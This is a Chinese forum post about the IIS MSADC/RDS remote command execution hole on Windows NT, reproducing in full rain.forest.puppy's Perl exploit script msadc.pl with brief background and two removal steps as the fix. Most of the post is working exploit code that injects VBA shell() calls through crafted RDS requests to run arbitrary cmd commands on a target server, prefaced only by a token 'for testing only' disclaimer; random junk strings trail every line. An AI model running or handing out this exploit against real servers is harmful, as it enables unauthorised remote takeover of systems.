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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) BuwJR Ql.  
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涉及程序: ";vP77|m7R  
Microsoft NT server )S~ySiJ<U  
oW7\T !f  
描述: &4]~s:F  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 #i6ZY^+ee  
A\xvzs.d  
详细: M{)7C,'  
如果你没有时间读详细内容的话,就删除: AE?G+:B  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 2$S^3$k'  
有关的安全问题就没有了。 bSbUf%LKt  
a[).'$S}'  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 aJ;6!WFW  
1uz7E  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 EGD&/%aC  
关于利用ODBC远程漏洞的描述,请参看: tZ4Zj`x|^  
Wbra*LNU  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm bIs@CDB  
RxUABF8b  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 *.g@6IkAQ  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp b&iJui"7k  
\9FWH}|  
这里不再论述。 Y\cQ "9  
~r%>x  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: HzuB.B<  
83~9Xb=!\  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset LA\)B"{J  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! .LQvjK[N  
j)A$%xUo  
v J `'x  
#将下面这段保存为txt文件,然后: "perl -x 文件名" vBRW5@  
s"jNS1B  
#!perl Rq,ST:  
# RCCI}ovU  
# MSADC/RDS 'usage' (aka exploit) script ccCe@1RI  
# R\VM6>SN'S  
# by rain.forest.puppy j4C{yk  
# L~Hgf/%5  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me kuEB  
# beta test and find errors! ZA;VA=)\8  
0/Q"~H?%  
use Socket; use Getopt::Std; X!'nfN  
getopts("e:vd:h:XR", \%args); V( /=0H/ F  
4pkTOQq_tQ  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; P. V #  
qjc8$#zXS  
if (!defined $args{h} && !defined $args{R}) { qYi<GI*|@  
print qq~ #" 3az8u  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ,?zIt6Z  
-h <host> = host you want to scan (ip or domain) -( d,AX  
-d <seconds> = delay between calls, default 1 second "M`ehgCBr  
-X = dump Index Server path table, if available 0SJ7QRo|K  
-v = verbose VlLc[eVV  
-e = external dictionary file for step 5 !"dn!X  
!Eof7LUE  
Or a -R will resume a command session <kY ||  
'J0Erk8(  
~; exit;} ,:G3Y )  
kJy bA  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ab5uZ0@  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} _jhdqON6E  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} JsA9Xdk`  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 0lyCk }c  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} HJV8P2f8`  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } QqS?-   
P2Or|_z  
if (!defined $args{R}){ $ret = &has_msadc; KR4vcI[4  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} tOu:j [  
8N58w)%7`  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" xUG:x4Gz+  
. "cmd /c "; 0xNlO9b/  
$in=<STDIN>; chomp $in; 'yq'J)  
$command="cmd /c " . $in ; I,0]> kx  
&R'%OFi  
if (defined $args{R}) {&load; exit;} I{V1Le4?  
%s#`i$|z*n  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; >Za66<:  
&try_btcustmr; 8G SO]R  
HJ\CGYmyz  
print "\nStep 2: Trying to make our own DSN..."; 2k^dxk~$V;  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; qtv>`:neB  
FyZiiH4|  
print "\nStep 3: Trying known DSNs..."; zF F=v7[j  
&known_dsn; j5cc"s  
_`Abz2s  
print "\nStep 4: Trying known .mdbs..."; ^edg@fp  
&known_mdb; H$ sNp\[{  
bhFAt1h  
if (defined $args{e}){ l5jW`cl1  
print "\nStep 5: Trying dictionary of DSN names..."; v7l4g&  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 4cO||OsMU  
(\^)@Y  
print "Sorry Charley...maybe next time?\n"; Gn ]%'lrg'  
exit; BBg&ZIYEh  
F[ Itq  
############################################################################## P'nbyF  
MKuy?mri~  
sub sendraw { # ripped and modded from whisker GW(-'V/  
sleep($delay); # it's a DoS on the server! At least on mine... Q)l]TgvSe  
my ($pstr)=@_; >Kd(.r[Er  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || (5"BKu1t  
die("Socket problems\n"); cZ" Ut  
if(connect(S,pack "SnA4x8",2,80,$target)){ $j~oB:3n7  
select(S); $|=1; _n3Jf<Y  
print $pstr; my @in=<S>; AlQ!Q)y<@  
select(STDOUT); close(S); I:~L!%  
return @in; z"eh.&T  
} else { die("Can't connect...\n"); }} J6!t"eB+  
;,z^!bD  
############################################################################## x+O}RD*G  
W biUz2)  
sub make_header { # make the HTTP request UeRx ^  
my $msadc=<<EOT =](c7HEQf  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 kUJ\AK  
User-Agent: ACTIVEDATA qdn\8Pn  
Host: $ip dwc$?Bg,5  
Content-Length: $clen YLlw:jN  
Connection: Keep-Alive vWJhSpC[  
5T[9|zJs  
ADCClientVersion:01.06 ==psPyLF@  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 i*9l  
o(W|BD!  
--!ADM!ROX!YOUR!WORLD! mne^P SI:  
Content-Type: application/x-varg %qzpt{'?<  
Content-Length: $reqlen u+]v. Mt  
|wf:|%  
EOT y>S.B/ d  
; $msadc=~s/\n/\r\n/g; F:/R'0  
return $msadc;} 5JbPB!5;  
OpwZTy}1}  
############################################################################## t[6g9e$  
;+-$=l3[a  
sub make_req { # make the RDS request Sa&~\!0t  
my ($switch, $p1, $p2)=@_; ,i2%FW  
my $req=""; my $t1, $t2, $query, $dsn; qj71 rj  
cJ&e^$:Er  
if ($switch==1){ # this is the btcustmr.mdb query Ii?"`d+JA  
$query="Select * from Customers where City=" . make_shell(); pGi "*oZD  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ou44vKzS  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Z_qs_/y  
A a2*f[  
elsif ($switch==2){ # this is general make table query r +] J {k  
$query="create table AZZ (B int, C varchar(10))"; @o+T<}kWX  
$dsn="$p1";} (n-8p6x(  
IbpE@C  
elsif ($switch==3){ # this is general exploit table query N(?yOB4gt  
$query="select * from AZZ where C=" . make_shell(); xG_ ;F  
$dsn="$p1";} {rWu`QT  
N0c+V["s  
elsif ($switch==4){ # attempt to hork file info from index server a9GOY+;bf  
$query="select path from scope()"; b`n+[UCPtn  
$dsn="Provider=MSIDXS;";} D PnKr/  
oHmU|  
elsif ($switch==5){ # bad query x8T5aS  
$query="select";  ]{OEU]I@  
$dsn="$p1";} Tk-PCra  
?lb1K'(  
$t1= make_unicode($query); do{#y*B/g!  
$t2= make_unicode($dsn); nzDS  
$req = "\x02\x00\x03\x00"; Z*kGWL  
$req.= "\x08\x00" . pack ("S1", length($t1)); }>xgzhdT  
$req.= "\x00\x00" . $t1 ; :~^ec|tp  
$req.= "\x08\x00" . pack ("S1", length($t2)); [pbX_  
$req.= "\x00\x00" . $t2 ; 1vu4}%nD  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; =~Jv*c  
return $req;} pFSVSSQRV|  
@+}Q<  
############################################################################## UD*#!H  
dUn8Xqj1  
sub make_shell { # this makes the shell() statement d@"eWvnlZ  
return "'|shell(\"$command\")|'";}  zUqiz  
)dLESk  
############################################################################## i{VjSWq  
.jr1<LE  
sub make_unicode { # quick little function to convert to unicode @( 9#\%=  
my ($in)=@_; my $out; ~0fT*lp  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } <uL?7P  
return $out;} ##u+[ !  
xP'IyABx  
############################################################################## =rgWO n8  
#'<I!G  
sub rdo_success { # checks for RDO return success (this is kludge) h^>kjMM  
my (@in) = @_; my $base=content_start(@in); -p ) l63  
if($in[$base]=~/multipart\/mixed/){ O6OP{sb  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 9Pd~  
return 0;} % @Ks<"9  
fB"3R-H?O  
############################################################################## S#+G?I3w  
K4n1#]8i  
sub make_dsn { # this makes a DSN for us &tD`~  
my @drives=("c","d","e","f"); ?9!tMRb  
print "\nMaking DSN: "; N)  {  
foreach $drive (@drives) { ;lX:EU  
print "$drive: "; D{.%Dr?  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . @D"#B@j  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" q) /;|h  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); W\U zw,vI  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; GQ|kcY=  
return 0 if $2 eq "404"; # not found/doesn't exist w}NgFrL  
if($2 eq "200") { ]02 l!"  
foreach $line (@results) { P xpz7He  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Di*+Cz;gK  
} return 0;} j#&sZ$HQ4  
4>Uo0NfL  
############################################################################## l(=#c/f  
 e^&YQl  
sub verify_exists { PBn(k>=+  
my ($page)=@_; (fh:q2E#  
my @results=sendraw("GET $page HTTP/1.0\n\n"); NFLmM  
return $results[0];} /GM-#q a  
Z mi<Z  
############################################################################## {yt]7^  
W %R h2l  
sub try_btcustmr { ~8pf.^,fi  
my @drives=("c","d","e","f"); QJdSNkc6  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 7R) )(-  
e,~c~Db* Q  
foreach $dir (@dirs) { &v4w3'@1  
print "$dir -> "; # fun status so you can see progress #yr19i ?  
foreach $drive (@drives) {   |J(]  
print "$drive: "; # ditto mu"]B]  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; .j}u'!LKul  
$reqlenlen=length( "$reqlen" ); Rdt8jY6F/  
$clen= 206 + $reqlenlen + $reqlen; *$# r%  
mZ/B:)_  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 1LPfn(  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 'b661,+d  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} yH#;k:O=  
[po+a@ %  
############################################################################## kOdS^-  
@z/]!n\~  
sub odbc_error { i6`8yw  
my (@in)=@_; my $base;  _&(ij(H  
my $base = content_start(@in); JEHV \ =  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this zZ32K@  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 'hya#rC&(  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; K7f-g]Ibdn  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; |!!E5osXq  
return $in[$base+4].$in[$base+5].$in[$base+6];} g+k6pi*  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ljt1:@SN(  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . !+hX$_RT  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} VpV w:Rh>  
['R=@.  
############################################################################## hLm9"N'Pf  
B.P64"w  
sub verbose { 6J|f^W-fs  
my ($in)=@_; mu{%%b7|^  
return if !$verbose; X2@o"xU  
print STDOUT "\n$in\n";} IB!Wrnj?  
2WUBJ-qnuT  
############################################################################## |%RFXkHS  
GU[ Cq=k  
sub save { `=KrV#/758  
my ($p1, $p2, $p3, $p4)=@_; iT5H<uS  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 0a'@J~v!  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ~!&[;EM<bm  
close OUT;} A+F-r_]}db  
.9^;? Ts  
############################################################################## (B$FX<K3  
q!ZmF1sU  
sub load { ]#:xl}'LS  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; w x,;  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); q yJpm{  
@p=<IN>; close(IN); +z[!]^H]4  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); .<NXk"\!y  
$target= inet_aton($ip) || die("inet_aton problems"); qFs<s<]  
print "Resuming to $ip ..."; =~0XdS/1  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; $`=?Nb@@#  
if($p[1]==1) { YKx0Zs  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; u-K 5  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; hPk+vvXtK  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); .86..1  
if (rdo_success(@results)){print "Success!\n";} kcOpO<oE  
else { print "failed\n"; verbose(odbc_error(@results));}} @B^'W'&C  
elsif ($p[1]==3){ ]yIy~V  
if(run_query("$p[3]")){ <.v6w*+{/  
print "Success!\n";} else { print "failed\n"; }} n9J>yud|  
elsif ($p[1]==4){ [KE4wz+s{  
if(run_query($drvst . "$p[3]")){ BuvBSLC~  
print "Success!\n"; } else { print "failed\n"; }} B0KM~cCPQP  
exit;} g8x8u|  
.N'UnKz  
############################################################################## Q` s(T  
* ;M?R?+  
sub create_table { *ap#*}r!Nk  
my ($in)=@_; [`b{eLCFX]  
$reqlen=length( make_req(2,$in,"") ) - 28; lLDHx3+  
$reqlenlen=length( "$reqlen" ); iIF'!K=q  
$clen= 206 + $reqlenlen + $reqlen; mY AFruN  
my @results=sendraw(make_header() . make_req(2,$in,"")); ?#[K&$}  
return 1 if rdo_success(@results); l2v}PALs  
my $temp= odbc_error(@results); verbose($temp); 3AL.UBj&}  
return 1 if $temp=~/Table 'AZZ' already exists/; $I/p6  
return 0;} Y$Ke{6 4  
iB,*X[}EqG  
############################################################################## U^YPL,m1  
8)tyn'~i  
sub known_dsn { FD-)nv2:  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go b;O+QRa  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 8&;dR  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", co@8w!W  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); lz*2wGI9  
@t^ 2/H ?O  
foreach $dSn (@dsns) { <|_Ey)1 6  
print "."; %51pfuL  
next if (!is_access("DSN=$dSn")); >I!(CM":s$  
if(create_table("DSN=$dSn")){ zc{C+:3$^  
print "$dSn successful\n"; 2~4C5@SxL  
if(run_query("DSN=$dSn")){ P>kx{^  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 4HHf3j!5  
print "Something's borked. Use verbose next time\n";}}} print "\n";} k^]~NP  
(j /O=$mJ  
############################################################################## p4Y 9$(X  
,-"]IR!,w  
sub is_access { C;ye%&g>  
my ($in)=@_; W9D)QIqbvW  
$reqlen=length( make_req(5,$in,"") ) - 28; gi6_la+  
$reqlenlen=length( "$reqlen" ); K%k,-  
$clen= 206 + $reqlenlen + $reqlen; 4<Y?#bm'  
my @results=sendraw(make_header() . make_req(5,$in,"")); gf=*m"5  
my $temp= odbc_error(@results); \'KzSkC8  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); QezK&iJg  
return 0;} ?l(hS\N,  
zN:752d^+r  
############################################################################## Cf N; `  
<>Im$N ai  
sub run_query { &Xav$6+Z1J  
my ($in)=@_; Ll`apKr  
$reqlen=length( make_req(3,$in,"") ) - 28; s^ a`=kO  
$reqlenlen=length( "$reqlen" ); ~h/U ;Da  
$clen= 206 + $reqlenlen + $reqlen; S=2,jPX2r  
my @results=sendraw(make_header() . make_req(3,$in,"")); o (zg_!P  
return 1 if rdo_success(@results); L}mhMxOTi  
my $temp= odbc_error(@results); verbose($temp); x9e 9$ww}  
return 0;} #?*jdN:  
d0^2<  
############################################################################## +x2xQ8#|~~  
P:v y  
sub known_mdb { jZ;T&s  
my @drives=("c","d","e","f","g"); t]ZSo-  
my @dirs=("winnt","winnt35","winnt351","win","windows"); rij[ZrJ  
my $dir, $drive, $mdb; 4Uiqi{}  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; meWAm?8RI  
24Fxx9 g  
# this is sparse, because I don't know of many *8p</Q  
my @sysmdbs=( "\\catroot\\icatalog.mdb", GM/1u fZH  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", iiTUhO )  
"\\system32\\certmdb.mdb", qrkT7f  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% [ n2udV  
+=_Pl7?  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", cPbz7  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ZS+2.)A  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", q|l|gY1g)  
"\\cfusion\\cfapps\\security\\realm_.mdb", -{h[W bf  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", (G VGoh&  
"\\cfusion\\database\\cfexamples.mdb", )3AT=b  
"\\cfusion\\database\\cfsnippets.mdb", i@* ^]'  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", #O WSy'Qnt  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", [;I8ZVE  
"\\cfusion\\brighttiger\\database\\cleam.mdb", gg(U}L ]:  
"\\cfusion\\database\\smpolicy.mdb", #<o#kJL  
"\\cfusion\\database\cypress.mdb", ht |r+v-  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", >`:+d'Jv0  
"\\website\\cgi-win\\dbsample.mdb", ||V:',#,W  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", -eMRxa>  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" qAS^5|(b[  
); #these are just Nt8(  
foreach $drive (@drives) { "x)DE,  
foreach $dir (@dirs){ =+ p+_}C  
foreach $mdb (@sysmdbs) { y6/X!+3+  
print "."; CkU=0mcY  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ q~n2VU4L*  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; g&>Hy!v,  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ F?=u:  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 8##jd[o&p~  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ^U}0D^jDeE  
o[#a}5Y  
foreach $drive (@drives) { z"3c+?2  
foreach $mdb (@mdbs) { (zBQ^97]  
print "."; Z3dd9m#.]  
if(create_table($drv . $drive . $dir . $mdb)){ B/OO$=>(  
print "\n" . $drive . $dir . $mdb . " successful\n"; V1.F`3h~  
if(run_query($drv . $drive . $dir . $mdb)){ )a\h5nQI)  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; +b+sQ<w?.  
} else { print "Something's borked. Use verbose next time\n"; }}}}  D;]%  
} 7&4,',0VL  
L|LTsRIq  
############################################################################## :!$z1u8R  
">3@<f>  
sub hork_idx { +0Gep}&z.  
print "\nAttempting to dump Index Server tables...\n"; Kcl$|T  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; #A; Z4jK  
$reqlen=length( make_req(4,"","") ) - 28; YkX=n{^  
$reqlenlen=length( "$reqlen" ); ''uI+>Y  
$clen= 206 + $reqlenlen + $reqlen; p/h&_^EXU  
my @results=sendraw2(make_header() . make_req(4,"","")); ~-d.3A $u  
if (rdo_success(@results)){ iC-ABOOu{l  
my $max=@results; my $c; my %d; 4:$>,D\  
for($c=19; $c<$max; $c++){ B! V{.p  
$results[$c]=~s/\x00//g; Q\L5ZJ%y/  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Br5Io=/wg  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; !Yu-a!  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; $4 Uy3C+6  
$d{"$1$2"}="";} ;Oy>-Ij5P  
foreach $c (keys %d){ print "$c\n"; } - (1\ `g07  
} else {print "Index server doesn't seem to be installed.\n"; }} .h,xBT`}Ji  
KU,w9<~i(  
############################################################################## rzDJH:W{2  
4&e@>  
sub dsn_dict { ?LI9F7n  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); p8l#=]\ ;  
while(<IN>){ L?x?+HPY.  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Z@!W? Ed  
next if (!is_access("DSN=$dSn")); I&8m5F?$`  
if(create_table("DSN=$dSn")){ I})t  
print "$dSn successful\n"; #~;8#!X  
if(run_query("DSN=$dSn")){ AF]!wUKxy  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { S:/RYT"  
print "Something's borked. Use verbose next time\n";}}} ^z^e*<{WEl  
print "\n"; close(IN);} rz{'X d  
w9$8t9$|  
############################################################################## Hs=N0Sk]j  
493i*j5r)l  
sub sendraw2 { # ripped and modded from whisker 4iqmi<[("  
sleep($delay); # it's a DoS on the server! At least on mine... Z4ioXl  
my ($pstr)=@_; k&iDJt  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || MdZgS#`  
die("Socket problems\n"); dM{~Ubb  
if(connect(S,pack "SnA4x8",2,80,$target)){ DA`sm  
print "Connected. Getting data"; #G` ,  
open(OUT,">raw.out"); my @in; aLt{X)?  
select(S); $|=1; print $pstr; }Xj_Y]T  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} d~-p;i  
close(OUT); select(STDOUT); close(S); return @in; 8Ql'(5|T  
} else { die("Can't connect...\n"); }}  ii y3  
BWdc^  
############################################################################## GA.bRN2CI2  
AUsQj\Nm%  
sub content_start { # this will take in the server headers Fx5d@WNa>  
my (@in)=@_; my $c; 6L9[U^`@  
for ($c=1;$c<500;$c++) { d`uO7jlm  
if($in[$c] =~/^\x0d\x0a/){ v9m;vWp  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } +\GZ(!~  
else { return $c+1; }}} lk1Gs{(qhH  
return -1;} # it should never get here actually @B[Cc`IN"  
l/zC##1+.  
############################################################################## P<!$A  
(%yc5+f!  
sub funky { !]+Z%ed`%  
my (@in)=@_; my $error=odbc_error(@in); V}fKV6 v9  
if($error=~/ADO could not find the specified provider/){ > ' 0 ][~  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 6h6?BQSE  
exit;} wZ8 MhE  
if($error=~/A Handler is required/){ kN |5 J  
print "\nServer has custom handler filters (they most likely are patched)\n"; ]/Yy-T#@  
exit;} dyiEK)$h  
if($error=~/specified Handler has denied Access/){ "C.7;Rvkp>  
print "\nServer has custom handler filters (they most likely are patched)\n"; [Am`5&J  
exit;}} |( 9#vt#  
)S};k=kG  
############################################################################## jS3(>  
F] ?@X  
sub has_msadc { 4UD=Y?zK  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); U?mf^'RE  
my $base=content_start(@results); a,*p_:~i  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); %m{.l4/!O  
return 0;} Qy5Os?9"  
D?yE$_3>c  
######################## H9VXsFTW  
|\|)j>[i  
b>= Wq  
解决方案: >q@Sd  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll MiH}VfI  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Z%5nVsm:G  
Kka8cG  
拿出来充数 哈哈
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